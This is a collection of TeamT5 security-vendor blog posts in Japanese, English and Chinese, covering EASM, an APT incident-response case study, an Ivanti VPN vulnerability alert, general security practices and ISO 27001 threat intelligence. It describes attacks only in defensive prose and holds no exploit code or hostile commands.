外部攻撃対象領域管理 (EASM) は、インターネット経由でアクセス可能な組織のデジタル資産の継続的な検出、インベントリ、評価、管理に焦点を当てています。これらの資産には、サーバー、Web アプリケーション、ドメイン、クラウドリソースなど、組織がタスクや業務を完了するために依存しているコンポーネントが含まれます。つまり、EASMは、組織の内部防御を強化し、外部の脆弱性が悪用される前に特定して対処できるようにするための重要な要素の一つです。

##EASMの仕組み
組織のEASMを構成するデジタル資産は、攻撃者が企業の内部ネットワークおよびシステムへのアクセスを見つける可能性のあるすべてのポイントの合計を表します。

現代のインフラの規模と複雑さから、これらの資産は、公的にアクセスできることが必要ですが（サービスやサポートの提供、通信の円滑化など）、攻撃者は同じ特性を利用して、不正アクセスを行ったり、サイバー攻撃を仕掛け、組織の評判や完全性に損害を与えます。EASMは、この広範囲に及ぶ攻撃対象領域を保護する上で極めて重要な役割を果たします。

##EASM に備わる3 つの基本機能

###発見
EASM ソリューションは、サーバー、IP、アプリケーション、サードパーティサービスなど、組織の危険なポイントを特定します。高度な発見方法には、ネットワークスキャン、クローラー、インターネットトラフィックの受動的盗聴、その他の技術を組み込むことも可能です。


###リスク分析
EASMは、公開されているすべての資産を継続的に分析および評価し、組織の攻撃対象領域を包括的に把握します。すべての資産は、詳細なメタデータを取得するために調査、コンテキスト化、分析ならびに解釈され、機能とリスクに応じて分類されます。

###脅威の軽減
EASM は、企業のセキュリティチームの防御優先順位を決定するための診断および規範的機能を備えており、最も緊急で悪用可能な脅威を分類し、修復するために必要な情報を提供します。 通常、このプロセスでは、複数の資産で発見されたアーティファクトを関連付けて攻撃構造を形成し、それを分析してアクティブな脅威シナリオと差し迫った脅威シナリオを特定します。

攻撃構造は、アクティビティと差し迫った脅威のシナリオを特定するためにさらに分析されます。

この診断のアプローチにより、組織は最も戦略的で影響力のある方法でさまざまな脆弱性に対処することができます。

##外部攻撃対象領域管理 (EASM) の鍵
- **外部デジタル資産のインベントリ**

EASM の主な機能は、ネットワーク経由でリモートアクセスできるすべてのデジタル資産の包括的なインベントリを作成することです。このインベントリは、今後すべての EASM の基礎となります。

- **継続的なモニタリングとリスク評価**

EASM は、外部の攻撃対象領域を継続的に監視し、新しい資産および関連する脆弱性を特定するように設計されています。また、優先順位付けをするために、各資産のリスク評価を行います。

- **脅威インテリジェンスとの統合**

EASM システムは1つ以上の脅威インテリジェンスソースと統合して、資産と脆弱性のインベントリを拡張し、リスク要因をシステムに取り込みます。


##サイバーセキュリティ管理における外部攻撃対象領域管理 (EASM) の利点

EASM は、ハッカーが発見して悪用する可能性のある脅威や脆弱性を積極的に検索することで、従来の境界を超えてネットワークセキュリティ保護を拡張します。 前述したように、ハッカーは利益を得るためにターゲットの公開された資産を常にスキャンしています。

また、EASM は、インシデントの発生後にセキュリティ対策を適用するのではなく、潜在的なセキュリティ問題をできるだけ早く特定することによって機能します。 これらのソリューションは、外部の攻撃対象領域を継続的に監視することで、予期せぬ危険箇所、構成ミス、または脆弱性を即座に特定できます。 つまり、企業はセキュリティの脆弱性に即座に対処するための是正措置を講じることができ、攻撃にさらされる機会と時間を大幅に削減することが可能になります。


EASM は、サイバーセキュリティチームにとって、ハッカーの標的となる可能性のある外部のデジタル資産を保護することに効果的です。EASM は以下のような脅威の軽減に役立ちます：
- **フィッシング攻撃**

EASM ソリューションを使用すると、主要なブランド名やドメインの不正使用を監視できるため、攻撃者がフィッシングキャンペーンで企業の ID を悪用する詐欺的な Web サイトを構築する能力を阻止できます。


- **マルウェアの配信**

侵害された資産や悪意のあるコンテンツの配信を即座に特定することは、企業の顧客や見込み顧客にマルウェアを配信しようとする試みを阻止するのに非常に役立ちます。


- **アプリケーションの脆弱性**

最近の多くの脆弱性と同様に、「一般向けの Web アプリケーション」は「注目度の高い標的」として扱われています。 EASM ソリューションは、Web アプリケーションの脆弱性を特定し、短期間で (悪用される前に) 確実にパッチを適用または軽減できるため、非常に重宝されます。

##外部攻撃対象領域管理 (EASM) の利点
EASM を導入すると、以下のような利点があります：


- **セキュリティ態勢の向上**

脆弱性や脅威を積極的に検出・軽減することで、企業は全体的なセキュリティ体制を大幅に向上させることができます。 この積極的なアプローチは、データ侵害やその他のセキュリティインシデントを防止し、機密情報の保護、顧客の信頼を維持するのに役立ちます。


- **コンプライアンスとリスク軽減**

EASM は、コンプライアンスとリスク管理においても重要な役割を果たします。 外部資産がセキュリティのベストプラクティスと規制要件に確実に準拠しているのを確認することで、企業はコンプライアンス違反やセキュリティ侵害などによる高額な罰則や風評被害を回避することができます。

##結論
外部攻撃対象領域管理 (EASM) は、現代の情報セキュリティ戦略に不可欠な要素です。 脅威を積極的に特定して修復することで、企業が幅広いサイバー脅威に対抗できるようにします。 EASM の導入にはいくつかの課題がありますが、可視性の向上、セキュリティ態勢の改善、コンプライアンスの強化という利点により、EASM はデジタル時代の防御強化を目指す企業にとって重要なテクノロジーとなっています。


脅威の状況が進化し続ける中、EASMのような強力かつプロアクティブなセキュリティ技術の重要性が高まり続けており、サイバー攻撃者の先手を打つことが企業の責務となっています。

 

> お問い合わせ : [https://teamt5.org/jp/contact-us/](https://teamt5.org/jp/contact-us/?utm_source=blog&utm_medium=website)

EASM とは？組織のサイバーセキュリティ保護にどのように役立つのか？

## Challenges 
As hacker attack technology continues to evolve, advanced persistent threat (APT) techniques are becoming even more complex. More and more malicious programs are able to bypass EDR (Endpoint Detection and Response) and use legitimate tools to control endpoints. According to [TeamT5's latest "APT Threat Landscape in APAC 2023" report](https://teamt5.org/en/posts/apt-threat-landscape-in-apac-2023/?utm_source=blog&utm_medium=website), it is now common for hacker groups to use public or open source tools or exploit vulnerabilities of web servers to execute attacks.

The report also pointed out that in the entire Asia-Pacific region, Taiwan, South Korea and Japan are the countries most targeted by APT actors. In Taiwan, the government, IT industry, education and critical infrastructure sectors are the main targets of attacks. The reason why APT actors are so interested in the IT sector is that these IT companies possess good channels or privileges to access big companies or government entities through supply chain attacks.

To deal with endless APT attacks, how should enterprises or organizations effectively deal with them? The following case reveals how TeamT5 actually assists enterprise organizations to handle APT attacks. In this case, you may understand hacker attack techniques and how incident response measures reduce the losses to strengthen future cybersecurity defense.

##Through TeamT5 endpoint security solution, suspicious APT attacks were discovered and timely assistance was provided.
Since APT attacks are hidden and targeting specific enterprises, there are usually no obvious signs. Threats must be found through threat intelligence or EDR with APT detection capabilities.

In a real case, a client used ThreatSonar, a threat forensic analysis platform developed by TeamT5, to conduct a scan of critical endpoints and analyze the scan results to understand whether there are potential threats. After inspection, it was gradually discovered that the hosts were installed with APT backdoors and Webshells. After receiving the detection report, TeamT5 immediately made further plans for the client, expanded scanning scope and analysis of endpoints in the field, and initiated the cybersecurity incident investigation service stage.

TeamT5’s Cyber Security Incident Response Team (CSIRT) assists clients in accessing the situation and the attacker's possible intrusion methods, and provides clients with immediate suggestions to block the attacker's control and proliferation to avoid affecting other digital assets.

## Endpoint detection and analysis to understand the scope of attacks
In order to clarify the scope of attacks in the environment, TeamT5 helps clients take the following key actions:

- **Key forensic analysis**:
Based on the circumstances of the case, the TeamT5 team identified the major compromised host. Per its operating system, forensic analysis by professional tools, and analysis of the network equipment communication log at the time of the incident, TeamT5 conducted incident-related investigations.

- **Deploy endpoint scanning to identify the scope of attacks**:
By deploying ThreatSonar to perform endpoint scanning, it was found that the memory of a host hit the APT rule, triggering a high-risk (Level 5) threat alert. After analysis by TeamT5, it was confirmed that a backdoor program, a malicious threat, was placed into the memory along with threat information such as suspicious file paths and malicious C2 server lists. It is recommended that clients block malicious C2 servers and check whether the firewall has records of endpoints trying to connect to the servers.

## Uncover the root cause of the incident and investigate the trajectory of the attack
Based on the incident investigation report generated by ThreatSonar and network record analysis, the TeamT5 team performed correlation investigations of on-site incidents to understand the attackers’ path and root cause of the incident:

- **Analysis of critical endpoints’ scan results**: A malicious threat is found in the connection record of an executable file on the field host, and the malicious C2 domain of the threat information was hit.
- **Incident investigation to find out the root cause**: After identifying the risk host, investigation and analysis were initiated to find out the hacker control chain. From the correlation between the Web Log and the Event Log of the system with abnormal conditions, it was discovered that as early as half a year ago, the system had been implanted with a Webshell by attackers. After the attackers took advantage of the system vulnerability of the third-party service to gain control, they then used Softether and a set of Trojans to establish footholds. Further tracing back on the attack incident, we learned that the attacker abused PowerShell commands for execution by SQL permissions, and summarized the accounts that may have been controlled, as well as the IP information of attack source.
- **Comprehensive assessment of the endpoints’ security status**: In order to ensure the security status of endpoints in the site, the scanning scope was expanded. From the memory analysis, it was found that other on-site hosts were injected with the GhOst backdoor program.
- **Introducing professional cybersecurity monitoring services to strengthen cybersecurity protection**: TeamT5 Managed Detection and Response Services (MDR) provide clients with one-stop services such as threat monitoring, analysis, response, and investigation, reducing the burden of enterprise cybersecurity operations while achieving comprehensive risk control.

 
![en_pic_ir-use-case-how-to-respond-to-advanced-persistent-threat-apt.jpg](https://uploads.teamt5.org/upload/original/en_pic_ir-use-case-how-to-respond-to-advanced-persistent-threat-apt.jpg)
 

## Review cybersecurity strategies and strengthen cyber defenses
To prevent similar incidents from happening again, TeamT5 provides clients with the following cyber defense suggestions:
### Block the sources of hacker control
take complete review of the security status of digital assets, confirm VPN equipment and system vulnerability patching, strengthen access control of critical hosts, and improve personnel's security awareness of phishing emails or website downloaders.

### Strengthen monitoring and analysis measures
establish an endpoint security monitoring mechanism to provide real-time alerts and block malicious behaviors; confirm the settings of network communication rules or the settings of terminal connections.

### Establish an incident response mechanism
Develop incident response procedures for the high-risk incidents that may occur, including pre-compromise monitoring and analysis, mitigation during the incident, and subsequent recovery and improvement, etc., so that they can be followed when an incident occurs.

[Incident Response Case] When APT threats are lurking in the environment, how can you deal with them effectively?

## 企業面臨的挑戰
隨著駭客攻擊技術的持續進化，進階式持續威脅（Advanced Persistent Threat, APT）手法也日趨複雜，越來越多惡意程式能規避 EDR（端點偵測與回應），利用合法工具來控制受駭機器。根據 [TeamT5 最新《2023年威脅態勢回顧》](https://teamt5.org/tw/posts/apt-threat-landscape-in-apac-2023/?utm_source=blog&utm_medium=website)報告數據顯示，許多駭客組織採用公共或開源工具，或利用 Web 伺服器漏洞的攻擊更為普遍。

報告同時指出，在整個亞太地區，台灣、韓國和日本是 APT 組織攻擊最多的國家；在台灣，又以政府、IT、教育或關鍵基礎設施等產業為主要攻擊對象。而 APT 攻擊者之所以對 IT 產業如此感興趣，是可藉由 IT 產業做為跳板，從供應鏈攻擊來接觸大型企業或政府等組織。

面對層出不窮的 APT 攻擊，企業或組織該如何有效處置？以下藉由 TeamT5 實際協助企業組織處理 APT 攻擊的案例，了解駭客攻擊手法以及事件應變作為，降低事件造成的損失，並強化未來資安防禦。

## 透過 TeamT5 端點安全檢測，發現可疑 APT 攻擊，立即協助處置
有鑑於 APT 攻擊屬於隱密且具有針對性的駭侵活動，通常不會有明顯徵兆，必須要透過威脅情資或具備 APT 偵測功能的 EDR 才能找出威脅。

在真實案例中，客戶採用 TeamT5 自行研發的威脅鑑識分析平台 ThreatSonar 進行重要端點檢測分析，藉此了解是否有潛在威脅。經檢測後，陸續發現場域主機遭植入 APT 後門程式及 Webshell 狀況。TeamT5 收到檢測報告後，立即為客戶做進一步規劃，針對場域端點主機擴大掃描分析，並進入資安事件調查服務階段。

TeamT5 資安事件應變處理團隊（CSIRT）協助客戶判讀狀況，研判攻擊者可能的入侵方式，並第一時間提供客戶阻斷攻擊者控制與擴散的建議，避免影響其他數位資產。

## 端點偵測分析，掌握受駭範圍	
為釐清環境中受駭範圍，TeamT5 協助客戶採取以下重點行動：
- **重點取證分析**：

依據案況，TeamT5 團隊研判可能為重點事發的主機，依其系統作業環境、藉由專業工具取證分析、案發時網路設備通訊紀錄，進一步作事件關聯調查。

- **部署端點掃描，匡列受駭範圍**：

藉由部署 ThreatSonar 執行端點掃描，發現有一台主機其記憶體命中 APT 規則，觸發高風險（Level 5）威脅告警。經 TeamT5 分析後，確認記憶體遭注入後門程式，屬於惡意威脅。並找出可疑檔案路徑與惡意中繼站（C2）清單等威脅情資，建議客戶封鎖惡意中繼站，並檢查防火牆是否有端點嘗試連線中繼站的紀錄。

##抽絲剝繭事件根因，調查攻擊軌跡
根據 ThreatSonar 掃描端點後事件調查報告以及網路紀錄分析，TeamT5 團隊對於場域事件發生狀況執行關聯調查作業，以掌握攻擊路徑與駭侵根因：
- **重要端點掃描分析**：
發現場域主機上某一執行檔的連線紀錄中具有惡意威脅，命中威脅情資惡意 C2 domain。

- **事件調查找出駭侵根因**：
在鎖定風險主機之後，進入調查分析，找出駭客控制鏈。從有異常狀況的系統 Web Log 與 Event Log 關聯查出，早在半年前，系統就已被攻擊者植入 Webshell，攻擊者利用第三方服務的系統漏洞取得控制權後，再運用 Softether 及一句話木馬建立其他進入點。進一步回溯攻擊事件，了解攻擊者透過 SQL 權限、Powershell 指令下載執行，歸納出可能遭掌握利用的帳號，及攻擊來源 IP 資訊。

- **全面清查場域端點安全狀況**：
為確保場域內端點安全狀況，擴大掃描範圍，從記憶體分析中，發現其他現場主機遭注入 GhOst 後門程式。

- **導入資安監控專業服務，強化資安防護力**：
TeamT5 威脅偵測應變代管服務（MDR）為客戶提供威脅監控、分析、處置、調查等一站式服務，減輕企業資安營運負擔，同時達到全面風險控管。

 
![tw_pic_ir-use-case-how-to-respond-to-advanced-persistent-threat-apt.jpg](https://uploads.teamt5.org/upload/original/tw_pic_ir-use-case-how-to-respond-to-advanced-persistent-threat-apt.jpg)
 


##檢視資安策略、強化未來防禦
為防禦類似的事件再度發生，TeamT5 提供客戶以下防禦建議：
#### 1.阻斷駭客控制來源
盤點資訊資產安全狀態、確認 VPN 設備及系統漏洞修補、加強重要主機存取控制、提升人員對於釣魚郵件或網站下載程式具有安全意識。

#### 2.加強監控分析措施
建立終端安全監控機制，即時告警、阻擋惡意行為；確認網路通訊規則的設定，或終端開放連線的設定。

#### 3.建立事件應變機制
針對可能發生的高風險事件類型，訂定事件處理作業程序，包含事前監控分析、事中抑制消除、事後復原改善等，在事件發生時能有所依循。

 
 

>TeamT5 杜浦數位安全團隊長期研究與解析駭客族群入侵行為，具備第一線國內外資安事件應變與處理的豐富經驗。當資安事件發生，我們可快速完成受駭現場與歷史軌跡的綜整分析，發掘攻擊者的入侵過程與手法，提供事件處理的深入分析及建議，協助您復原與改善資安環境。
若您有資安事件處理、應變的需求，歡迎填寫[諮詢表單](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)

【資安事件應變處理案例】當 APT 威脅埋伏於環境中，該如何有效處置？

> The following alert is based on our January H2 Vulnerability Insights Report on [ThreatVision](https://teamt5.org/en/products/threatvision/?utm_source=blog&utm_medium=website). TeamT5 Vulnerability Research Team is dedicated to providing timely mitigation and response guidelines to critical vulnerabilities. Contact us for more information about our vulnerability intelligence.

TeamT5 released mitigation and response guidelines to CVE-2023-46805 and CVE-2024-21887 in Ivanti Connect Secure VPN (ICS, formerly known as Pulse Connect Secure) and Ivanti Policy Secure Gateways (PS).

## Exploitation Status
Threat actors can combine the exploits of CVE-2023-46805 and CVE-2024-21887 to bypass the authentication of Ivanti ICS and PS products, which allows the threat actors to deploy malware and further compromise the target’s networks.

- **CVE-2023-46805** is an authentication bypass vulnerability that allows remote attacker to access restricted resources by bypassing control checks.
- **CVE-2024-21887** is a command injection vulnerability allows an authenticated administrator to send specially crafted requests and execute arbitrary commands on the appliance.

Our analysis suggests that CVE-2023-46805 and CVE-2024-21887 has been actively exploited by China-nexus state-sponsored threat actors.

The targeted countries are across the globe, including Taiwan, Japan, Netherland, South Korea, Indonesia, Malaysia, and Hong Kong.

The targeted sectors are varied, including manufacturing, information technology, education, telecom, construction, critical infrastructure, conglomerate, hospital, financial, petrochemical, real estate development, semiconductor, government, energy, and retail.

Mandiant attributed the attacks to UNC5221 whereas Volexity attributed to China-nexus UTA0178.
TeamT5 assess the attacks are from China-nexus threat actors with medium confidence based on the C2 information.

## Executive Summary
We assess the severity level of CVE-2023-46805 and CVE-2024-21887 is critical and urge our customers to use this report to mitigate the effects. The two vulnerabilities have been exploited as zero-day since December 2023.[1] Ivanti ICS and PS products is popular around the world. Aligned with Mandiant’s January report, our further investigations revealed that entities across different sectors in Taiwan, Japan, Netherland, South Korea, Indonesia, Malaysia, and Hong Kong are all fell into prey.

Furthermore, the Proof of Concepts (PoC) exploiting CVE-2023-46805 and CVE-2024-21887 has been circulating in the wild.[2] Public reports also revealed possible state actors exploited both vulnerabilities in the attacks. In fact, U.S. Cybersecurity and Infrastructure Security Agency (CISA) now requires all Federal agencies to disconnect Ivanti products by February 2.[3]

Threat actors, especially state-sponsored APT groups, has been actively exploiting CVE-2023-46805 and CVE-2024-21887 in the attacks. Our research, aligned with public reports[1][4], suggest that threat actors would further deploy malware, such as GIFTEDVISITOR (aka WIREFIRE) webshell and IvantiJStealer infostealer, the target’s devices. In addition to the malware, Mandiant also reported ZIPLINE backdoor, LIGHTWIRE webshell and its dropper THINSPOOL.

## Affected Products
Ivanti Connect Secure (ICS) Version 9.x and 22.x

## Mitigation and Response Advisory
### 1. Official Patch Information
Ivanti provided the patch for CVE-2023-46805 and CVE-2024-21887 to temporarily block suspicious URIs (i.e. REST API.)

- https://forums.ivanti.com/s/article/Download-Links-Related-to-CVE-2023-46805-and-CVE-2024-21887
- https://forums.ivanti.com/s/article/KB-CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways

 
Moreover, the threat actors already tampered the Integrity Checker Tools (ICT) in the Ivanti PCS. We recommend our intelligence users to download the Ivanti ICT from following URL to ensure the integrity.
- https://forums.ivanti.com/s/article/KB44755

### 2. TeamT5’s VIR 2024 January H2: CVE-2024-21887
Based on the exploitation status, TeamT5’s VIR 2024 January H2: CVE-2024-21887 depicted the Possible Attack Scenario and concluded the malware and IOCs respectively. Most importantly, we prepare a comprehensive Mitigation and Response Advisory for our intelligence users.

The Mitigation and Response Advisory includes:
- Mitigation Advisory
Threat Hunting Tools, including two nuclei-based malware scanners and a YARA rule.
Two nuclei-based malware scanners to check if your Ivanti device is compromised by the threat actors
- YARA rule to detect IvantiJStealer

[Contact us](https://teamt5.org/en/contact-us/?utm_source=blog&utm_medium=website) for more information about our vulnerability intelligence.

 
 

## Reference
[1] https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day 

[2] https://attackerkb.com/topics/AdUh6by52K/cve-2023-46805/rapid7-analysis?referrer=etrblog 

[3] https://www.cisa.gov/news-events/directives/supplemental-direction-v1-ed-24-01-mitigate-ivanti-connect-secure-and-ivanti-policy-secure 

[4] https://www.volexity.com/blog/2024/01/18/ivanti-connect-secure-vpn-exploitation-new-observations/

[TeamT5 Flash Alert] Ivanti Connect Secure VPN Exploitation: CVE-2023-46805 & CVE-2024-21887

根據 TeamT5 漏洞研究團隊觀察研究發現，Ivanti VPN 近期具有嚴重高風險零時差漏洞，恐已造成大規模駭侵事件發生，鑑此彙整相關漏洞資訊、活動狀態及緩解應對措施提供資安防護運用，相關資訊說明如下：

## 漏洞利用資訊
攻擊者可結合 CVE-2023-46805 & CVE-2024-21887 漏洞繞過 Ivanti Connect Secure and Policy Secure Gateways 產品的驗證機制後執行指令，進而植入惡意程式及進入公司內部場域滲透活動。
- **CVE-2023-46805**：可讓攻擊者繞過驗證機制及存取確認取得受限制的資訊。
- **CVE-2024-21887**：可讓攻擊者透過經過驗證的管理者權限注入任意指令執行。

## 攻擊活動狀態
據觀察 CVE-2023-46805 及 CVE-2024-21887 漏洞已經被中國 APT 攻擊族群所使用，由 Mandiant 資安公司報告指出歸類為 UNC5221 攻擊族群，Volexity 資安公司則歸類為與中國 APT 組織相關的 UTA0178 攻擊族群；另 TeamT5 依據所掌握之中繼站 (C2) 資訊關聯結果研判，有中度信心，本次攻擊事件與中國 APT 組織活動有關。

此次事件攻擊的目標則包括台灣、日本、荷蘭、韓國、印尼、馬來西亞和香港，產業範圍涵蓋製造業、資訊科技、教育、電信、建築、關鍵基礎設施、企業集團、醫院、金融、石化、房地產開發、半導體、政府、能源和零售業。

## 攻擊事件摘要
根據相關報告指出 CVE-2023-46805 與 CVE-2024-21887 自 2023 年 12 月以來就一直被利用[1]，此外概念驗證 (Proof of Concepts, PoC) 也已公布於資安網站[2]，美國網路安全和基礎設施安全局 (CISA) 也發布警訊要求所有聯邦機構在2024年2月2日之前斷開Ivanti產品的連線，避免遭到攻擊者滲透利用[3]。

另由 TeamT5 研究或是公開報告中[1][4]，都一致發現攻擊者另外會進一步地部署 GIFTEDVISITOR（又名 WIREFIRE）Webshell網頁後門程式或是 IvantiJStealer infostealer 惡意程式，此外 Mandiant 也觀察到有ZIPLINE、LIGHTWIRE webshell 及 THINSPOOL 等惡意程式活動狀況。

## 受影響的產品
Ivanti 的 SSL VPN 系統 Connect Secure（ICS），版本 9.x 與 22.x
 
## 緩解與應變處置建議
### 1.官方修補資訊
Ivanti 提供 CVE-2023-46805 和 CVE-2024-21887 暫時阻擋可疑 URI 的修補資訊：
- https://forums.ivanti.com/s/article/Download-Links-Related-to-CVE-2023-46805-and-CVE-2024-21887
- https://forums.ivanti.com/s/article/KB-CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways

 
並且，由於攻擊者已有竄改 Ivanti PCS Image 的狀況，所以 TeamT5 建議可自https://forums.ivanti.com/s/article/KB44755 下載 Ivanti Integrity Checker Tools 檢查 Image 的完整性。

### 2. TeamT5 建議
TeamT5 於威脅情資平台 ThreatVision〈VIR 2024 1月份 H2: CVE-2024-21887〉 報告中，已掌握可能的攻擊情境、攻擊手法及惡意程式相對應的入侵指標(IOCs)並提供威脅獵殺工具：
- 基於 nuclei 的漏洞掃描偵測：可用於檢查 Ivanti 設備是否有遭駭侵狀況。
- yara rule 檢測識別工具：可用於探測是否有遭植入IvantiJStealer惡意程式。 

欲獲得更多資訊，請[聯絡我們](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)，了解 ThreatVision 詳細資訊。

 
 


## 參考資料
[1] https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day 

[2] https://attackerkb.com/topics/AdUh6by52K/cve-2023-46805/rapid7-analysis?referrer=etrblog 

[3] https://www.cisa.gov/news-events/directives/supplemental-direction-v1-ed-24-01-mitigate-ivanti-connect-secure-and-ivanti-policy-secure 

[4] https://www.volexity.com/blog/2024/01/18/ivanti-connect-secure-vpn-exploitation-new-observations/

【資安即時快訊】Ivanti VPN 零時差漏洞 (CVE-2023-46805 & CVE-2024-21887)

Security Alerts

In today's business world, it is more important than ever to secure your organization's data. Data breaches can have a devastating impact on businesses, leading to loss of customer trust, financial losses, and legal liabilities. Organizations must take steps to protect their data from unauthorized access, use, and disclosure. There are a number of tools and practices that organizations can use to secure their data.

## Tools
A number of tools are available to help organizations secure their data. These tools can be categorized into a few different types:

- **Access control**: Access control tools allow organizations to control who can access their data and systems. This includes tools such as firewalls, intrusion detection systems, and antivirus software.
- **Data encryption**: Data encryption tools protect data from unauthorized access. This includes tools such as encryption software and VPNs.
Data loss prevention: Data loss prevention tools help organizations prevent data from being lost or stolen. This includes tools such as data backup and recovery software.
- **Security awareness training**: Security awareness training helps employees learn about cybersecurity risks and how to protect themselves from them.
- **Vulnerability management**: Vulnerability management helps organizations identify and fix vulnerabilities in their systems. This includes tools such as vulnerability scanners and patch management software.
- **Threat intelligence**: Threat intelligence provides organizations with information about the latest cybersecurity threats. This can help organizations take steps to protect themselves from these threats.
- **Incident response plan**: Incident response plans help organizations respond to cybersecurity incidents. This includes steps such as containing the incident, investigating the cause, and recovering from the damage.
- **Security audits and assessments**: Security audits and assessments help organizations identify and address cybersecurity risks. This can be done by an internal or external team of security professionals.

## Practices
In addition to using tools, there are a number of practices that organizations can follow to improve their cybersecurity. These practices include:

- **Developing a cybersecurity policy**: A cybersecurity policy outlines the organization's approach to cybersecurity. This policy should include a statement of the organization's commitment to cybersecurity, as well as specific guidelines for employees to follow.
- **Implementing least privilege**: The principle of least privilege states that employees should only be given access to the data and systems that they need to do their job. This helps to reduce the risk of unauthorized access.
- **Educating employees**: Employees are often the weakest link in the cybersecurity chain. Organizations should educate their employees about cybersecurity risks and how to protect themselves from them. This can be done through training, awareness campaigns, and other methods.
- **Keeping software up to date**: Software vulnerabilities can be exploited by attackers to gain unauthorized access to systems. Organizations should keep their software up to date with the latest security patches.
- **Monitoring systems**: Organizations should monitor their systems for suspicious activity. This can be done using tools such as intrusion detection systems and security information and event management (SIEM) systems.
- **Testing and evaluating**: Organizations should regularly test and evaluate their cybersecurity controls to make sure that they are effective. This can be done through penetration testing and other methods.

By following these guidelines, organizations can take steps to protect their data and ensure that it remains secure.

## Conclusion
Securing your organization is an ongoing process that requires a commitment from all levels of the organization. By using the tools and practices described in this article, organizations can take steps to protect their data from unauthorized access, use, and disclosure.


>TeamT5 provides solutions you need to build holistic cyberdefense!
>
>With our threat intelligence platform, [ThreatVision](https://teamt5.org/en/products/threatvision/?utm_source=blog&utm_medium=website), you may foresee potential threats & incidents and deliver action items for decision-makers to make accurate decisions and mitigate risks.
>
>With our threat hunting tool, [ThreatSonar](https://teamt5.org/en/products/threatsonar/?utm_source=blog&utm_medium=website), you may hunt down cyber threats with capabilities in compromise assessment, auto-investigation, and orchestration. Equipped with over 100 built-in IoCs and thousands of backdoor indicators, ThreatSonar helps discover threats and execute incident responses remotely in a post-compromised environment.

 
 
*banner source: pexles

Navigating the Evolving Cybersecurity Landscape: Adapting to Emerging Threats and Maintaining a Resilient Defense

在當今的商業世界中，保護企業資料的安全比以往任何時候都更加重要。 資料外洩可能會對企業造成毀滅性影響，導致客戶失去信任、財務損失和面臨法律責任。 

企業必須採取措施保護其資料，免於未經授權的存取、使用和揭露，以下介紹適合的工具與實踐做法，期能提升企業資安韌性。

 
##工具
有許多工具可協助企業保護其資料。 這些工具可以分為幾種不同的類型：

- **存取控制**：存取控制工具允許企業控制誰可以存取其資料和系統。這包括防火牆、入侵偵測系統和防毒軟體等工具。
- **資料加密**：資料加密工具可保護資料免於未經授權的存取，這包括加密軟體和 VPN 等工具。
- **資料遺失防護**：資料遺失防護工具可協助企業防止資料遺失或被竊，這類工具如資料備份和復原軟體等工具。
- **資安意識培訓**：安全意識培訓幫助員工了解網路安全風險，及如何保護自己免受網路安全風險。
- **漏洞管理**：漏洞管理可協助企業辨識並修復系統中的漏洞。這包括漏洞掃描工具和修補程式管理軟體等工具。
- **威脅情資**：威脅情資為企業提供最切身、最新的網路安全威脅資訊，這可以幫助企業採取措施保護自己免受這些威脅。
- **資安事件應變計畫**：此類計畫可協助企業應對網路安全事件，其包括遏制事件、調查原因及從損害中恢復等步驟。
- **資安稽核和評估**：資安稽核和評估幫助企業識別和解決網路安全風險，此可以由內部或外部安全專業人員團隊來完成。


##實踐作法
除了使用工具之外，企業還可以遵循許多實踐作法，提高網路安全能量。 這些做法包括：

- **制定網路安全政策**：網路安全政策概述企業的網路安全方法指引。該政策應包括企業對網路安全的承諾的聲明，以及員工應遵循的具體準則。
- **實施最小權限**：最小權限原則規定，員工只能存取完成工作所需的資料和系統。這有助於降低未經授權存取的風險。
- **員工訓練**：員工往往是網路安全鏈中最薄弱的環節，企業應該對員工進行網路安全風險以及如何保護自己免受網路安全風險的教育。這可以透過培訓、宣傳活動和其他方法來完成。
- **保持軟體最新**：攻擊者可以利用軟體漏洞來獲得對系統的未經授權的存取，因此企業應該讓使用的軟體持續更新至最新版本。
- **監控系統**：企業應監控其系統是否有可疑活動。 這可以使用入侵偵測系統以及安全資訊和事件管理 (SIEM) 系統等工具來完成。
- **測試和評估**：企業應定期進行滲透測試和各類評估方式，檢查其網路安全控制措施，以確保其有效

 
透過遵循這些準則，企業可以採取措施保護其資料並確保其安全。

 
## 結論
維護企業安全是一個長期過程，需要企業各個層級的承諾與投入。 參考本文中所述的工具和實踐方法，企業可以規劃並採取適當措施，保護其資料免遭未經授權的存取、使用和洩漏。

 

>您建立全面資安防禦所需的解決方案時，TeamT5 提供您所需的威脅情資與威脅狩獵工具！
>
>透過我們的威脅情資平台 [ThreatVision](https://teamt5.org/tw/products/threatvision/?utm_source=blog&utm_medium=website)，您可以預見潛在的威脅和事件，並為決策者提供行動項目，以做出準確的決策並降低風險。
>
>透過我們的威脅搜尋工具 [ThreatSonar](https://teamt5.org/tw/products/threatsonar/?utm_source=blog&utm_medium=website)，您可以精準捕網路威脅。 ThreatSonar 內建數千種 APT 後門特徵，將最新情資帶到每個端點，進行鑑識，有助於在受感染後的環境中遠端發現威脅，並採取應對措施。

應對持續變化的網路安全態勢：掌握新出現的威脅並保持彈性防禦

>ISO 27001 近期改版，將控制措施由舊版14個控制領域整合成4大類別，包含組織控制（Organization Controls）、人員控制（People Controls）、實體控制（Physical Controls）、技術控制（Technological Controls）。此外，部分條款有額外新增要求、調整用語等。

>本文特針對** ISO 27001: 2022 **版本中，「組織控制」類別之「A.5.7 Threat intelligence 威脅情資」進行簡介，以期協助企業、組織提升資訊安全管理品質。

 

**威脅情資（threat intelligence）**指的是與網路攻擊相關的資訊，經由專業團隊收集、轉換、分析、解釋等處理過程，提供資安決策過程所需要的基礎。

ISO 27001: 2022 之「A.5.7 Threat intelligence」控制措施建議企業與組織應收集、分析資訊安全威脅相關之資訊，以產生威脅情資，並確定企業將可能面臨哪些威脅，與進一步採取防禦措施。

為了遵守此項要求，企業與組織應執行下列事項：
- 定期檢查企業所處的威脅環境（藉由查看政府機構和其他組織的報告達成）。
- 應確定威脅來源（如：內部人員、競爭對手、犯罪者、恐怖組織）。
- 根據當前事件和過去的事件，確定可能的新型攻擊面向和趨勢。
- 建立有助於減輕企業組織的資訊安全威脅之防禦措施。

 

